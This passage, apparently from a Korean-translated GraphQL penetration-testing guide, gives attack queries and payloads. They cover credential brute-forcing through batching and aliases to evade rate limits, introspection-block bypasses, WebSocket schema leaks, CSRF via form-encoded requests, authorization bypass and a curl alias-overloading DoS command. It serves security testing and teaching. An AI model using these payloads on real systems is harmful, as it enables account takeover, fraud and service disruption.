GraphQL API๋ฅผ ํ†ตํ•œ ์ธ์ฆ์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด ์—ฌ๋Ÿฌ ์ž๊ฒฉ์ฆ๋ช…์„ ์‚ฌ์šฉํ•ด ์—ฌ๋Ÿฌ ์ฟผ๋ฆฌ๋ฅผ ๋™์‹œ์— ์ „์†กํ•˜๋Š” ๋ฐฉ์‹์ด๋‹ค. ๊ณ ์ „์ ์ธ brute force ๊ณต๊ฒฉ์ด์ง€๋งŒ, GraphQL์˜ batching ๊ธฐ๋Šฅ ๋•Œ๋ฌธ์— ์ด์ œ ํ•œ HTTP ์š”์ฒญ๋‹น ์—ฌ๋Ÿฌ ๋กœ๊ทธ์ธ/๋น„๋ฐ€๋ฒˆํ˜ธ ์Œ์„ ์ „์†กํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด ์ ‘๊ทผ๋ฒ•์€ ์™ธ๋ถ€ rate ๋ชจ๋‹ˆํ„ฐ๋ง ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์†์—ฌ ๋ชจ๋“  ๊ฒƒ์ด ์ •์ƒ์ด๋ฉฐ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ถ”์ธกํ•˜๋Š” brute-forcing ๋ด‡์ด ์—†๋‹ค๊ณ  ํŒ๋‹จํ•˜๊ฒŒ ๋งŒ๋“ ๋‹ค.

Below you can find the simplest demonstration of an application authentication request, with 3 different email/passwords pairs at a time. Obviously itโ€™s possible to send thousands in a single request in the same way:

As we can see from the response screenshot, the first and the third requests returned null and reflected the corresponding information in the error section. The second mutation had the correct authentication data and the response has the correct authentication session token.

GraphQL Without Introspection

More and more graphql endpoints are disabling introspection. However, the errors that graphql throws when an unexpected request is received are enough for tools like clairvoyance to recreate most part of the schema.

Moreover, the Burp Suite extension GraphQuail extension observes GraphQL API requests going through Burp and builds an internal GraphQL schema with each new query it sees. It can also expose the schema for GraphiQL and Voyager. The extension returns a fake response when it receives an introspection query. As a result, GraphQuail shows all queries, arguments, and fields available for use within the API. For more info check this.

A nice wordlist to discover GraphQL entities can be found here.

Bypassing GraphQL introspection defences

API์—์„œ introspection ์ฟผ๋ฆฌ ์ œํ•œ์„ ์šฐํšŒํ•˜๋ ค๋ฉด __schema ํ‚ค์›Œ๋“œ ๋’ค์— ํŠน์ˆ˜ ๋ฌธ์ž๋ฅผ ์‚ฝ์ž…ํ•˜๋Š” ๊ฒƒ์ด ํšจ๊ณผ์ ์ด๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ introspection๋ฅผ ์ฐจ๋‹จํ•˜๋ ค๊ณ  __schema ํ‚ค์›Œ๋“œ์— ์ดˆ์ ์„ ๋งž์ถ˜ regex ํŒจํ„ด์—์„œ ๊ฐœ๋ฐœ์ž๊ฐ€ ํ”ํžˆ ๋†“์น˜๋Š” ๋ถ€๋ถ„์„ ์•…์šฉํ•œ๋‹ค. GraphQL์ด ๋ฌด์‹œํ•˜์ง€๋งŒ regex์—์„œ ๊ณ ๋ ค๋˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ๋Š” ๊ณต๋ฐฑ, ์ค„๋ฐ”๊ฟˆ, ์‰ผํ‘œ ๊ฐ™์€ ๋ฌธ์ž๋ฅผ ์ถ”๊ฐ€ํ•จ์œผ๋กœ์จ ์ œํ•œ์„ ํšŒํ”ผํ•  ์ˆ˜ ์žˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, __schema ๋’ค์— ์ค„๋ฐ”๊ฟˆ์„ ๋„ฃ์€ introspection ์ฟผ๋ฆฌ๋Š” ๊ทธ๋Ÿฌํ•œ ๋ฐฉ์–ด๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

์ž‘๋™ํ•˜์ง€ ์•Š์œผ๋ฉด GET requests ๋˜๋Š” POST with x-www-form-urlencoded ๊ฐ™์€ ๋Œ€์ฒด ์š”์ฒญ ๋ฐฉ์‹์„ ๊ณ ๋ คํ•˜์„ธ์š”. ์ œํ•œ์ด POST ์š”์ฒญ์—๋งŒ ์ ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

WebSockets ์‹œ๋„

์œ„์˜ ์ด ๋ฐœํ‘œ์—์„œ ์–ธ๊ธ‰ํ•œ ๊ฒƒ์ฒ˜๋Ÿผ, WebSockets๋ฅผ ํ†ตํ•ด graphQL์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ์ž ์žฌ์ ์ธ WAF๋ฅผ ์šฐํšŒํ•˜๊ณ  websocket ํ†ต์‹ ์ด graphQL์˜ ์Šคํ‚ค๋งˆ๋ฅผ leakํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}

var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}

๋…ธ์ถœ๋œ GraphQL ๊ตฌ์กฐ ๋ฐœ๊ฒฌ

When introspection is disabled, JavaScript ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์—์„œ ๋ฏธ๋ฆฌ ๋กœ๋“œ๋œ ์ฟผ๋ฆฌ๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•ด ์›น์‚ฌ์ดํŠธ ์†Œ์Šค ์ฝ”๋“œ๋ฅผ ๊ฒ€์‚ฌํ•˜๋Š” ๊ฒƒ์€ ์œ ์šฉํ•œ ์ „๋žต์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ฟผ๋ฆฌ๋Š” ๊ฐœ๋ฐœ์ž ๋„๊ตฌ์˜ Sources ํƒญ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, API์˜ ์Šคํ‚ค๋งˆ์— ๋Œ€ํ•œ ํ†ต์ฐฐ์„ ์ œ๊ณตํ•˜๊ณ  ์ž ์žฌ์ ์œผ๋กœ ๋…ธ์ถœ๋œ ๋ฏผ๊ฐํ•œ ์ฟผ๋ฆฌ๋ฅผ ๋“œ๋Ÿฌ๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐœ๋ฐœ์ž ๋„๊ตฌ ๋‚ด์—์„œ ๊ฒ€์ƒ‰ํ•  ๋•Œ ์‚ฌ์šฉํ•˜๋Š” ๋ช…๋ น์–ด๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

์˜ค๋ฅ˜ ๊ธฐ๋ฐ˜ ์Šคํ‚ค๋งˆ ์žฌ๊ตฌ์„ฑ ๋ฐ ์—”์ง„ ์ง€๋ฌธ ์‹๋ณ„ (InQL v6.1+)

์ธํŠธ๋กœ์ŠคํŽ™์…˜์ด ์ฐจ๋‹จ๋œ ๊ฒฝ์šฐ, **InQL v6.1+**๋Š” ์ด์ œ ์˜ค๋ฅ˜ ํ”ผ๋“œ๋ฐฑ๋งŒ์œผ๋กœ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ์Šคํ‚ค๋งˆ๋ฅผ ์žฌ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ƒˆ๋กœ์šด schema bruteforcer๋Š” ๊ตฌ์„ฑ ๊ฐ€๋Šฅํ•œ ์›Œ๋“œ๋ฆฌ์ŠคํŠธ์—์„œ ํ•„๋“œ/์ธ์ˆ˜ ํ›„๋ณด ์ด๋ฆ„์„ ๋ฐฐ์น˜๋กœ ์ฒ˜๋ฆฌํ•˜๊ณ , HTTP ํŠธ๋ž˜ํ”ฝ์„ ์ค„์ด๊ธฐ ์œ„ํ•ด ๋‹ค์ค‘ ํ•„๋“œ ์—ฐ์‚ฐ์œผ๋กœ ์ „์†กํ•ฉ๋‹ˆ๋‹ค. ์œ ์šฉํ•œ ์˜ค๋ฅ˜ ํŒจํ„ด์€ ์ž๋™์œผ๋กœ ์ˆ˜์ง‘๋ฉ๋‹ˆ๋‹ค:

  • Field 'bugs' not found on type 'inql'๋Š” ๋ถ€๋ชจ ํƒ€์ž…์˜ ์กด์žฌ๋ฅผ ํ™•์ธํ•˜๊ณ  ์ž˜๋ชป๋œ ํ•„๋“œ ์ด๋ฆ„์„ ๋ฐฐ์ œํ•ฉ๋‹ˆ๋‹ค.
  • Argument 'contribution' is required๋Š” ์ธ์ˆ˜๊ฐ€ ํ•„์ˆ˜์ž„์„ ๋ณด์—ฌ์ฃผ๊ณ  ์ •ํ™•ํ•œ ์ฒ ์ž๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค.
  • ์˜ˆ: Did you mean 'openPR'? ๊ฐ™์€ ์ œ์•ˆ ํžŒํŠธ๋Š” ๊ฒ€์ฆ๋œ ํ›„๋ณด๋กœ ํ์— ๋‹ค์‹œ ํˆฌ์ž…๋ฉ๋‹ˆ๋‹ค.
  • ์˜๋„์ ์œผ๋กœ ์ž˜๋ชป๋œ ์›์‹œ ํƒ€์ž…(์˜ˆ: ๋ฌธ์ž์—ด์— ์ •์ˆ˜๋ฅผ ์ „์†ก)์„ ๋ณด๋‚ด๋ฉด bruteforcer๋Š” ํƒ€์ž… ๋ถˆ์ผ์น˜ ์˜ค๋ฅ˜๋ฅผ ์œ ๋ฐœํ•˜์—ฌ ์‹ค์ œ ํƒ€์ž… ์‹œ๊ทธ๋‹ˆ์ฒ˜๋ฅผ leakํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: [Episode!] ๊ฐ™์€ ๋ฆฌ์ŠคํŠธ/๊ฐ์ฒด ๋ž˜ํผ ํฌํ•จ).

bruteforcer๋Š” ์ƒˆ๋กœ์šด ํ•„๋“œ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” ๋ชจ๋“  ํƒ€์ž…์„ ์žฌ๊ท€์ ์œผ๋กœ ๊ณ„์† ํƒ์ƒ‰ํ•˜๋ฏ€๋กœ, ์ผ๋ฐ˜์ ์ธ GraphQL ์ด๋ฆ„๊ณผ ์•ฑ ํŠนํ™” ์ถ”์ธก์„ ํ˜ผํ•ฉํ•œ ์›Œ๋“œ๋ฆฌ์ŠคํŠธ๋Š” ๊ฒฐ๊ตญ ์ธํŠธ๋กœ์ŠคํŽ™์…˜ ์—†์ด ์Šคํ‚ค๋งˆ์˜ ํฐ ๋ถ€๋ถ„์„ ๋งคํ•‘ํ•ฉ๋‹ˆ๋‹ค. ์‹คํ–‰ ์‹œ๊ฐ„์€ ์ฃผ๋กœ rate limiting๊ณผ candidate volume์— ์˜ํ•ด ์ œํ•œ๋˜๋ฏ€๋กœ, InQL ์„ค์ • (wordlist, batch size, throttling, retries)์„ ๋ฏธ์„ธ ์กฐ์ •ํ•˜๋Š” ๊ฒƒ์ด ์€๋ฐ€ํ•œ ์ž‘์—…์—์„œ๋Š” ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

๊ฐ™์€ ๋ฆด๋ฆฌ์Šค์—์„œ InQL์€ GraphQL engine fingerprinter๋„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค (graphw00f์™€ ๊ฐ™์€ ๋„๊ตฌ์—์„œ ์‹œ๊ทธ๋‹ˆ์ฒ˜๋ฅผ ์ฐจ์šฉํ•จ). ์ด ๋ชจ๋“ˆ์€ ์˜๋„์ ์œผ๋กœ ์ž˜๋ชป๋œ directive/query๋ฅผ ์ „์†กํ•˜๊ณ  ์ •ํ™•ํ•œ ์˜ค๋ฅ˜ ํ…์ŠคํŠธ๋ฅผ ๋งค์นญํ•˜์—ฌ ๋ฐฑ์—”๋“œ๋ฅผ ๋ถ„๋ฅ˜ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ:

query @deprecated {
__typename
}
  • Apollo๋Š” Directive "@deprecated" may not be used on QUERY.๋ผ๊ณ  ์‘๋‹ตํ•ฉ๋‹ˆ๋‹ค.
  • GraphQL Ruby๋Š” '@deprecated' can't be applied to queries๋ผ๊ณ  ์‘๋‹ตํ•ฉ๋‹ˆ๋‹ค.

Once an engine is recognized, InQL surfaces the corresponding entry from the GraphQL Threat Matrix, helping testers prioritize weaknesses that ship with that server family (default introspection behavior, depth limits, CSRF gaps, file uploads, etc.).

Finally, **์ž๋™ ๋ณ€์ˆ˜ ์ƒ์„ฑ (automatic variable generation)**์€ Burp Repeater/Intruder๋กœ ์ „ํ™˜ํ•  ๋•Œ ์ž์ฃผ ๋ฐœ์ƒํ•˜๋Š” ์žฅ์• ๋ฅผ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค. ์–ด๋–ค operation์ด variables JSON์„ ํ•„์š”๋กœ ํ•  ๋•Œ๋งˆ๋‹ค, InQL์€ ์ด์ œ ์š”์ฒญ์ด ์ฒ˜์Œ ์ „์†ก๋  ๋•Œ ์Šคํ‚ค๋งˆ ๊ฒ€์ฆ์„ ํ†ต๊ณผํ•˜๋„๋ก ํ•ฉ๋ฆฌ์ ์ธ ๊ธฐ๋ณธ๊ฐ’์„ ์ฃผ์ž…ํ•ฉ๋‹ˆ๋‹ค:

"String"  -> "exampleString"
"Int"     -> 42
"Float"   -> 3.14
"Boolean" -> true
"ID"      -> "123"
ENUM      -> first declared value

Nested input objects๋Š” ๋™์ผํ•œ mapping์„ ์ƒ์†ํ•˜๋ฏ€๋กœ, ๋ชจ๋“  ์ธ์ˆ˜๋ฅผ ์ผ์ผ์ด ์ˆ˜๋™์œผ๋กœ ๋ฆฌ๋ฒ„์Šค์—”์ง€๋‹ˆ์–ด๋งํ•˜์ง€ ์•Š๊ณ ๋„ SQLi/NoSQLi/SSRF/logic bypasses์— ๋Œ€ํ•ด ํผ์ฆˆํ•  ์ˆ˜ ์žˆ๋Š” ๊ตฌ๋ฌธ์ ยท์˜๋ฏธ์ ์œผ๋กœ ์œ ํšจํ•œ payload๋ฅผ ์ฆ‰์‹œ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

CSRF in GraphQL

CSRF๊ฐ€ ๋ฌด์—‡์ธ์ง€ ๋ชจ๋ฅธ๋‹ค๋ฉด ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ์ฝ์–ด๋ณด์„ธ์š”:

CSRF (Cross Site Request Forgery)

ํ•ด๋‹น ํŽ˜์ด์ง€์—์„œ๋Š” CSRF tokens ์—†์ด ๊ตฌ์„ฑ๋œ ์—ฌ๋Ÿฌ GraphQL endpoints๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

GraphQL ์š”์ฒญ์€ ์ผ๋ฐ˜์ ์œผ๋กœ Content-Type์ด **application/json**์ธ POST ์š”์ฒญ์œผ๋กœ ์ „์†ก๋œ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

๊ทธ๋Ÿฌ๋‚˜ ๋Œ€๋ถ€๋ถ„์˜ GraphQL endpoints์—์„œ๋Š” form-urlencoded POST requests: ๋„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

๋”ฐ๋ผ์„œ, ์ด์ „๊ณผ ๊ฐ™์€ CSRF ์š”์ฒญ์ด preflight requests ์—†์ด ์ „์†ก๋˜๋ฏ€๋กœ, CSRF๋ฅผ ์•…์šฉํ•˜์—ฌ GraphQL์—์„œ ๋ณ€๊ฒฝ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ Chrome์˜ samesite ํ”Œ๋ž˜๊ทธ์˜ ์ƒˆ๋กœ์šด ๊ธฐ๋ณธ ์ฟ ํ‚ค ๊ฐ’์ด Lax์ž„์— ์œ ์˜ํ•˜์„ธ์š”. ์ด๋Š” ์ฟ ํ‚ค๊ฐ€ ์ œ3์ž ์›น์—์„œ์˜ GET ์š”์ฒญ์—์„œ๋งŒ ์ „์†ก๋œ๋‹ค๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

์ผ๋ฐ˜์ ์œผ๋กœ query request๋ฅผ GET request๋กœ๋„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์œผ๋ฉฐ, GET ์š”์ฒญ์—์„œ๋Š” CSRF ํ† ํฐ์ด ๊ฒ€์ฆ๋˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์„ ์œ ์˜ํ•˜์„ธ์š”.

๋˜ํ•œ, XS-Search attack์„ ์•…์šฉํ•˜๋ฉด ์‚ฌ์šฉ์ž์˜ ์ž๊ฒฉ ์ฆ๋ช…์„ ์ด์šฉํ•ด GraphQL ์—”๋“œํฌ์ธํŠธ์—์„œ ์ฝ˜ํ…์ธ ๋ฅผ ์œ ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ž์„ธํ•œ ๋‚ด์šฉ์€ original post here๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

Cross-site WebSocket hijacking in GraphQL

GraphQL์„ ์•…์šฉํ•œ CSRF ์ทจ์•ฝ์ ๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ, ๋ณดํ˜ธ๋˜์ง€ ์•Š์€ ์ฟ ํ‚ค๋ฅผ ๊ฐ€์ง„ ์ธ์ฆ์„ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•œ Cross-site WebSocket hijacking์„ ํ†ตํ•ด ์‚ฌ์šฉ์ž๊ฐ€ GraphQL์—์„œ ์˜ˆ๊ธฐ์น˜ ์•Š์€ ๋™์ž‘์„ ํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”:

WebSocket Attacks

Authorization in GraphQL

์—”๋“œํฌ์ธํŠธ์— ์ •์˜๋œ ๋งŽ์€ GraphQL ํ•จ์ˆ˜๋Š” ์š”์ฒญ์ž์˜ authentication๋งŒ ํ™•์ธํ•˜๊ณ  authorization์€ ํ™•์ธํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฟผ๋ฆฌ ์ž…๋ ฅ ๋ณ€์ˆ˜๋ฅผ ์ˆ˜์ •ํ•˜๋ฉด ๋ฏผ๊ฐํ•œ ๊ณ„์ • ์ •๋ณด๊ฐ€ leaked๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Mutation์€ ์‹ฌ์ง€์–ด ๋‹ค๋ฅธ ๊ณ„์ • ๋ฐ์ดํ„ฐ๋ฅผ ์ˆ˜์ •ํ•˜๋ ค ์‹œ๋„ํ•˜์—ฌ ๊ณ„์ • ํƒˆ์ทจ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

GraphQL์—์„œ ๊ถŒํ•œ ์šฐํšŒ

Chaining queries๋ฅผ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜๋ฉด ์ทจ์•ฝํ•œ ์ธ์ฆ ์‹œ์Šคํ…œ์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์•„๋ž˜ ์˜ˆ์—์„œ๋Š” operation์ด โ€œforgotPasswordโ€œ์ด๋ฉฐ ํ•ด๋‹น operation์— ์—ฐ๊ด€๋œ forgotPassword ์ฟผ๋ฆฌ๋งŒ ์‹คํ–‰๋˜์–ด์•ผ ํ•จ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋์— ์ฟผ๋ฆฌ๋ฅผ ์ถ”๊ฐ€ํ•˜๋ฉด ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ, ์ด ๊ฒฝ์šฐ โ€œregisterโ€œ์™€ ์‹œ์Šคํ…œ์ด ์ƒˆ ์‚ฌ์šฉ์ž๋กœ ๋“ฑ๋กํ•  user ๋ณ€์ˆ˜๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.

GraphQL์—์„œ Aliases๋ฅผ ์‚ฌ์šฉํ•œ Rate Limits ์šฐํšŒ

GraphQL์—์„œ aliases๋Š” API ์š”์ฒญ ์‹œ ํ”„๋กœํผํ‹ฐ์˜ ์ด๋ฆ„์„ ๋ช…์‹œ์ ์œผ๋กœ ์ง€์ •ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” ๊ฐ•๋ ฅํ•œ ๊ธฐ๋Šฅ์ž…๋‹ˆ๋‹ค. ์ด ๊ธฐ๋Šฅ์€ ๋‹จ์ผ ์š”์ฒญ ๋‚ด์—์„œ ๋™์ผ ํƒ€์ž…์˜ ๊ฐ์ฒด๋ฅผ ์—ฌ๋Ÿฌ ์ธ์Šคํ„ด์Šค๋กœ ๊ฐ€์ ธ์™€์•ผ ํ•  ๋•Œ ํŠนํžˆ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. Aliases๋Š” ๋™์ผํ•œ ์ด๋ฆ„์„ ๊ฐ€์ง„ ์—ฌ๋Ÿฌ ํ”„๋กœํผํ‹ฐ๋ฅผ GraphQL ๊ฐ์ฒด๊ฐ€ ๊ฐ€์งˆ ์ˆ˜ ์—†๊ฒŒ ํ•˜๋Š” ์ œํ•œ์„ ๊ทน๋ณตํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋” ์ž์„ธํ•œ ์ดํ•ด๋ฅผ ์œ„ํ•ด ๋‹ค์Œ ๋ฆฌ์†Œ์Šค๋ฅผ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค: Aliases.

Aliases์˜ ์ฃผ๋œ ๋ชฉ์ ์€ ๋งŽ์€ API ํ˜ธ์ถœ์˜ ํ•„์š”์„ฑ์„ ์ค„์ด๋Š” ๊ฒƒ์ด์ง€๋งŒ, ์˜๋„์น˜ ์•Š์€ ์‚ฌ์šฉ ์‚ฌ๋ก€๋กœ aliases๋ฅผ ์ด์šฉํ•ด GraphQL ์—”๋“œํฌ์ธํŠธ์— brute force ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Œ์ด ํ™•์ธ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ผ๋ถ€ ์—”๋“œํฌ์ธํŠธ๊ฐ€ brute force ๊ณต๊ฒฉ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด HTTP ์š”์ฒญ ์ˆ˜๋ฅผ ์ œํ•œํ•˜๋Š” rate limiters๋กœ ๋ณดํ˜ธ๋˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด๋Ÿฌํ•œ rate limiters๋Š” ๊ฐ ์š”์ฒญ ๋‚ด์˜ operation ์ˆ˜๋ฅผ ๊ณ ๋ คํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Aliases๊ฐ€ ๋‹จ์ผ HTTP ์š”์ฒญ์— ์—ฌ๋Ÿฌ ์ฟผ๋ฆฌ๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋ฏ€๋กœ, ์ด๋Ÿฌํ•œ rate limiting ์กฐ์น˜๋ฅผ ํšŒํ”ผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์•„๋ž˜ ์˜ˆ๋ฅผ ๋ณด๋ฉด, aliased queries๋ฅผ ์‚ฌ์šฉํ•ด ์ƒ์ ์˜ ํ• ์ธ ์ฝ”๋“œ ์œ ํšจ์„ฑ์„ ํ™•์ธํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ ์—ฌ๋Ÿฌ ์ฟผ๋ฆฌ๋ฅผ ํ•˜๋‚˜์˜ HTTP ์š”์ฒญ์œผ๋กœ ํ•ฉ์น˜๊ธฐ ๋•Œ๋ฌธ์— rate limiting์„ ์šฐํšŒํ•˜์—ฌ ๋™์‹œ์— ๋งŽ์€ ํ• ์ธ ์ฝ”๋“œ๋ฅผ ๊ฒ€์ฆํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

GraphQL์—์„œ์˜ DoS

Alias Overloading

Alias Overloading๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ๋™์ผ ํ•„๋“œ์— ๋Œ€ํ•ด ๋งŽ์€ alias๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ฟผ๋ฆฌ๋ฅผ ๊ณผ๋ถ€ํ•˜์‹œํ‚ค๋Š” GraphQL ์ทจ์•ฝ์ ์œผ๋กœ, ๋ฐฑ์—”๋“œ resolver๊ฐ€ ํ•ด๋‹น ํ•„๋“œ๋ฅผ ๋ฐ˜๋ณตํ•ด์„œ ์‹คํ–‰ํ•˜๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ์ด๋Š” ์„œ๋ฒ„ ์ž์›์„ ๊ณผ๋„ํ•˜๊ฒŒ ์‚ฌ์šฉํ•˜๊ฒŒ ํ•˜์—ฌ **Denial of Service (DoS)**๋ฅผ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ์•„๋ž˜ ์ฟผ๋ฆฌ์—์„œ๋Š” ๋™์ผํ•œ ํ•„๋“œ(expensiveField)๊ฐ€ alias๋ฅผ ์‚ฌ์šฉํ•ด 1,000๋ฒˆ ์š”์ฒญ๋˜์–ด ๋ฐฑ์—”๋“œ๊ฐ€ ์ด๋ฅผ 1,000๋ฒˆ ๊ณ„์‚ฐํ•˜๊ฒŒ ๋˜์–ด CPU๋‚˜ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๊ณ ๊ฐˆ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'

์ด๋ฅผ ์™„ํ™”ํ•˜๋ ค๋ฉด alias count limits, query complexity analysis ๋˜๋Š” rate limiting์„ ๊ตฌํ˜„ํ•ด ๋ฆฌ์†Œ์Šค ๋‚จ์šฉ์„ ๋ฐฉ์ง€ํ•˜์„ธ์š”.

Array-based Query Batching

